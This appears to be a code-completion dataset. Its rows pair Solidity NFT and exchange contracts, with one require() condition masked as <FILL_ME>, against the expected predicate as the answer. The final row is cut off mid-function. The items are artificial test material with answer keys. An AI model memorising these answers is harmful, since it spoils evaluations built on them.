comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
"Team has already claimed."
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract NFTeamMATESMilton is Ownable, ERC721A { // Contract Constants uint128 public constant maxSupply = 325; // Timestamps uint128 public saleStartTime; // Contract Vars uint128 public teamClaimed; string public baseURI; uint128 price = .036 ether; modifier canMint(uint8 _amount, uint256 _value){ } constructor(uint128 _saleStartTime) ERC721A("NFTeamMATESMilton", "NTMM") { } function mint(address _recipient, uint8 _amount) external payable canMint(_amount, msg.value) { } function teamClaim(uint128 _amount) external onlyOwner { require(<FILL_ME>) _mint(msg.sender, _amount); teamClaimed += _amount; } // Functions for testing function setSaleStartTime(uint128 _saleStartTime) external onlyOwner { } function setBaseURI(string calldata _newBaseURI) external onlyOwner { } function setPrice(uint128 _price) external onlyOwner { } function getPrice() public view returns (uint128) { } function _startTokenId() internal view virtual override returns (uint256) { } function tokenURI(uint256 _tokenId) public view override returns (string memory) { } }
teamClaimed+_amount<=5,"Team has already claimed."
227,502
teamClaimed+_amount<=5
null
pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { } } pragma solidity ^0.8.2; //contract goblintownNFT is ERC721A, Ownable, ReentrancyGuard { contract bardtownNFT is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; string public _partslink = "ipfs://QmU12xVwjJXKPEb7RqpCwAcjmcTu4jBDiCeDSB2Lh9JNR5/"; bool public byebye = true; //uint256 public goblins = 9999; uint256 public bards = 10000; //uint256 public goblinbyebye = 1; uint256 public bardsbyebye = 1; //mapping(address => uint256) public howmanygobblins; mapping(address => uint256) public howmanybards; //constructor() ERC721A("goblintown", "GOBLIN") {} constructor() ERC721A("bardtown", "BARD") {} function _baseURI() internal view virtual override returns (string memory) { } //function makingobblin() external nonReentrant { function makinbard() external nonReentrant { uint256 totalbards = totalSupply(); require(byebye); require(<FILL_ME>) require(msg.sender == tx.origin); require(howmanybards[msg.sender] < bardsbyebye); _safeMint(msg.sender, bardsbyebye); howmanybards[msg.sender] += bardsbyebye; } //function makegoblinnnfly(address lords, uint256 _goblins) public onlyOwner { function makebardfly(address lords, uint256 _bards) public onlyOwner { } //function makegoblngobyebye(bool _bye) external onlyOwner { function makebardgobyebye(bool _bye) external onlyOwner { } //function spredgobblins(uint256 _byebye) external onlyOwner { function spredbards(uint256 _byebye) external onlyOwner { } //function makegobblinhaveparts(string memory parts) external onlyOwner { function makebardshaveparts(string memory parts) external onlyOwner { } function sumthinboutfunds() public payable onlyOwner { } }
totalbards+bardsbyebye<=bards
227,538
totalbards+bardsbyebye<=bards
null
pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { } } pragma solidity ^0.8.2; //contract goblintownNFT is ERC721A, Ownable, ReentrancyGuard { contract bardtownNFT is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; string public _partslink = "ipfs://QmU12xVwjJXKPEb7RqpCwAcjmcTu4jBDiCeDSB2Lh9JNR5/"; bool public byebye = true; //uint256 public goblins = 9999; uint256 public bards = 10000; //uint256 public goblinbyebye = 1; uint256 public bardsbyebye = 1; //mapping(address => uint256) public howmanygobblins; mapping(address => uint256) public howmanybards; //constructor() ERC721A("goblintown", "GOBLIN") {} constructor() ERC721A("bardtown", "BARD") {} function _baseURI() internal view virtual override returns (string memory) { } //function makingobblin() external nonReentrant { function makinbard() external nonReentrant { uint256 totalbards = totalSupply(); require(byebye); require(totalbards + bardsbyebye <= bards); require(msg.sender == tx.origin); require(<FILL_ME>) _safeMint(msg.sender, bardsbyebye); howmanybards[msg.sender] += bardsbyebye; } //function makegoblinnnfly(address lords, uint256 _goblins) public onlyOwner { function makebardfly(address lords, uint256 _bards) public onlyOwner { } //function makegoblngobyebye(bool _bye) external onlyOwner { function makebardgobyebye(bool _bye) external onlyOwner { } //function spredgobblins(uint256 _byebye) external onlyOwner { function spredbards(uint256 _byebye) external onlyOwner { } //function makegobblinhaveparts(string memory parts) external onlyOwner { function makebardshaveparts(string memory parts) external onlyOwner { } function sumthinboutfunds() public payable onlyOwner { } }
howmanybards[msg.sender]<bardsbyebye
227,538
howmanybards[msg.sender]<bardsbyebye
null
pragma solidity ^0.8.0; contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable { using Address for address; using Strings for uint256; struct TokenOwnership { address addr; uint64 startTimestamp; } struct AddressData { uint128 balance; uint128 numberMinted; } uint256 internal currentIndex; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to ownership details // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details. mapping(uint256 => TokenOwnership) internal _ownerships; // Mapping owner address to address data mapping(address => AddressData) private _addressData; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory name_, string memory symbol_) { } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first. * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) { } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view override returns (uint256) { } function _numberMinted(address owner) internal view returns (uint256) { } /** * Gas spent here starts off proportional to the maximum mint batch size. * It gradually moves to O(1) as tokens get transferred around in the collection over time. */ function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) { } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public override { } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view override returns (address) { } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public override { } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public override { } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public override { } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), */ function _exists(uint256 tokenId) internal view returns (bool) { } function _safeMint(address to, uint256 quantity) internal { } /** * @dev Safely mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _safeMint( address to, uint256 quantity, bytes memory _data ) internal { } /** * @dev Mints `quantity` tokens and transfers them to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `quantity` must be greater than 0. * * Emits a {Transfer} event. */ function _mint( address to, uint256 quantity, bytes memory _data, bool safe ) internal { } /** * @dev Transfers `tokenId` from `from` to `to`. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) private { } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve( address to, uint256 tokenId, address owner ) private { } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { } /** * @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. */ function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} /** * @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes * minting. * * startTokenId - the first token id to be transferred * quantity - the amount to be transferred * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. */ function _afterTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity ) internal virtual {} } // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { } } pragma solidity ^0.8.2; //contract goblintownNFT is ERC721A, Ownable, ReentrancyGuard { contract bardtownNFT is ERC721A, Ownable, ReentrancyGuard { using Strings for uint256; string public _partslink = "ipfs://QmU12xVwjJXKPEb7RqpCwAcjmcTu4jBDiCeDSB2Lh9JNR5/"; bool public byebye = true; //uint256 public goblins = 9999; uint256 public bards = 10000; //uint256 public goblinbyebye = 1; uint256 public bardsbyebye = 1; //mapping(address => uint256) public howmanygobblins; mapping(address => uint256) public howmanybards; //constructor() ERC721A("goblintown", "GOBLIN") {} constructor() ERC721A("bardtown", "BARD") {} function _baseURI() internal view virtual override returns (string memory) { } //function makingobblin() external nonReentrant { function makinbard() external nonReentrant { } //function makegoblinnnfly(address lords, uint256 _goblins) public onlyOwner { function makebardfly(address lords, uint256 _bards) public onlyOwner { uint256 totalbards = totalSupply(); require(<FILL_ME>) _safeMint(lords, _bards); } //function makegoblngobyebye(bool _bye) external onlyOwner { function makebardgobyebye(bool _bye) external onlyOwner { } //function spredgobblins(uint256 _byebye) external onlyOwner { function spredbards(uint256 _byebye) external onlyOwner { } //function makegobblinhaveparts(string memory parts) external onlyOwner { function makebardshaveparts(string memory parts) external onlyOwner { } function sumthinboutfunds() public payable onlyOwner { } }
totalbards+_bards<=bards
227,538
totalbards+_bards<=bards
"Signature exist"
pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract OrderBook is Ownable { enum AssetType { ERC20, ERC721, ERC1155 } struct Asset { address token; uint256 tokenId; AssetType assetType; } struct OrderKey { /* who signed the order */ address payable owner; /* what has owner */ Asset sellAsset; /* what wants owner */ Asset buyAsset; } struct Order { OrderKey key; /* how much has owner (in wei, or UINT256_MAX if ERC-721) */ uint256 selling; /* how much wants owner (in wei, or UINT256_MAX if ERC-721) */ uint256 buying; /* fee for selling secoundary sale*/ uint256 sellerFee; /* random numbers*/ uint256 salt; /* expiry time for order*/ uint256 expiryTime; // for bid auction auction time + bidexpiry /* order Type */ uint256 orderType; // 1.sell , 2.buy, 3.bid } /* An ECDSA signature. */ struct Sig { /* v parameter */ uint8 v; /* r parameter */ bytes32 r; /* s parameter */ bytes32 s; } } contract OrderState is OrderBook { using BytesLibrary for bytes32; mapping(bytes32 => bool) public completed; // 1.completed function getCompleted(OrderBook.Order calldata order) external view returns (bool) { } function setCompleted(OrderBook.Order memory order, bool newCompleted) internal { } function setCompletedBidOrder( OrderBook.Order memory order, bool newCompleted, address buyer, uint256 buyingAmount ) internal { } function getCompletedKey(OrderBook.Order memory order) public pure returns (bytes32) { } function getBidOrderCompletedKey( OrderBook.Order memory order, address buyer, uint256 buyingAmount ) public pure returns (bytes32) { } function validateOrderSignature(Order memory order, Sig memory sig) internal view { require(<FILL_ME>) if (sig.v == 0 && sig.r == bytes32(0x0) && sig.s == bytes32(0x0)) { revert("incorrect signature"); } else { require( prepareOrderHash(order).recover(sig.v, sig.r, sig.s) == order.key.owner, "Incorrect signature" ); } } function validateOrderSignatureView(Order memory order, Sig memory sig) public view returns (address) { } function validateBidOrderSignature( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) internal view { } function validateBidOrderSignatureView( Order memory order, Sig memory sig, address bidder, uint256 buyingAmount ) public view returns (address) { } function prepareOrderHash(OrderBook.Order memory order) public pure returns (bytes32) { } function prepareBidOrderHash( OrderBook.Order memory order, address bidder, uint256 buyingAmount ) public pure returns (bytes32) { } function prepareBuyerFeeMessage( Order memory order, uint256 fee, address royaltyReceipt ) public pure returns (bytes32) { } } interface INFT { function mint( address from, address to, uint256 id, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, uint256 supply, string memory uri ) external returns (bool); } contract TransferSafe { struct mintParams { uint256 blockExpiry; uint8 v; bytes32 r; bytes32 s; string uri; } function erc721safeTransferFrom( IERC721 token, address from, address to, uint256 tokenId ) internal { } function erc1155safeTransferFrom( IERC1155 token, address from, address to, uint256 id, uint256 value ) internal { } function erc1155safeMintTransferFrom( INFT token, address from, address to, uint256 id, uint256 value, uint256 blockExpiry, uint8 v, bytes32 r, bytes32 s, string memory uri ) internal { } } contract Exchange is OrderState, TransferSafe { using SafeMath for uint256; address payable public beneficiaryAddress; address public buyerFeeSigner; uint256 public beneficiaryFee; // uint256 public royaltyFeeLimit = 50; // 5% INFT private _NFTstore; address public weth; // auth token for exchange mapping(address => bool) public allowToken; event MatchOrder( address indexed sellToken, uint256 indexed sellTokenId, uint256 sellValue, address owner, address buyToken, uint256 buyTokenId, uint256 buyValue, address buyer, uint256 orderType ); event Cancel( address indexed sellToken, uint256 indexed sellTokenId, address owner, address buyToken, uint256 buyTokenId ); event Beneficiary(address newBeneficiary); event BuyerFeeSigner(address newBuyerFeeSigner); event BeneficiaryFee(uint256 newbeneficiaryfee); event RoyaltyFeeLimit(uint256 newRoyaltyFeeLimit); event AllowToken(address token, bool status); event SetMintableStore(address newMintableStore); event AdminDeposit(uint256 amount,uint time); constructor( address payable beneficiary, address buyerfeesigner, uint256 beneficiaryfee, address wethAddr ) public { } function sell( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external payable { } function buy( Order calldata order, Sig calldata sig, Sig calldata buyerFeeSig, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferToken( Order calldata order, address buyer, bool isStore, mintParams memory storeParams ) internal { } function bid( Order calldata order, Sig calldata sig, Sig calldata buyerSig, Sig calldata buyerFeeSig, address buyer, uint256 buyingAmount, uint256 royaltyFee, address payable royaltyReceipt, bool isStore, mintParams memory storeParams ) external { } function transferSellFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBuyFee( Order calldata order, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferBidFee( address assest, address payable seller, uint256 buyingAmount, address payable royaltyReceipt, uint256 royaltyFee, address buyer ) internal { } function transferEthFee( uint256 amount, address payable _seller, uint256 royaltyFee, address payable royaltyReceipt ) internal { } function transferWethFee( uint256 amount, address _seller, address buyer, 